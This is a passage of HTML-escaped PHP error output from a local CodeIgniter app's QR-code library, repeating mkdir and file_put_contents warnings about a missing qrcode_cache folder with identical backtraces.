			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_0\mask_21_0.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_1\mask_21_1.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_2\mask_21_2.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_3\mask_21_3.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  file_put_contents(C:\wamp64\www\multi_pro\uploads/qrcode_cache/mask_4\mask_21_4.dat): failed to open stream: No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 155&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 155&lt;br /&gt;
			Function: file_put_contents			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 485&lt;br /&gt;
			Function: encode			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 286&lt;br /&gt;
			Function: encodePNG			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\Ciqrcode.php&lt;br /&gt;
			Line: 101&lt;br /&gt;
			Function: png			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\controllers\Student.php&lt;br /&gt;
			Line: 714&lt;br /&gt;
			Function: generate			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\index.php&lt;br /&gt;
			Line: 315&lt;br /&gt;
			Function: require_once			&lt;/p&gt;

		
&lt;/div&gt;
&lt;div style=&quot;border:1px solid #990000;padding-left:20px;margin:0 0 10px 0;&quot;&gt;

&lt;h4&gt;A PHP Error was encountered&lt;/h4&gt;

&lt;p&gt;Severity: Warning&lt;/p&gt;
&lt;p&gt;Message:  mkdir(): No such file or directory&lt;/p&gt;
&lt;p&gt;Filename: qrcode/qrmask.php&lt;/p&gt;
&lt;p&gt;Line Number: 154&lt;/p&gt;


	&lt;p&gt;Backtrace:&lt;/p&gt;
	
		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 154&lt;br /&gt;
			Function: mkdir			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrmask.php&lt;br /&gt;
			Line: 311&lt;br /&gt;
			Function: makeMaskNo			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 216&lt;br /&gt;
			Function: mask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 240&lt;br /&gt;
			Function: encodeMask			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 279&lt;br /&gt;
			Function: encodeInput			&lt;/p&gt;

		
			&lt;p style=&quot;margin-left:10px&quot;&gt;
			File: C:\wamp64\www\multi_pro\application\libraries\qrcode\qrencode.php&lt;br /&gt;
			Line: 467&lt;br /&gt;
			Function: encodeString			&lt;/p&gt;

		
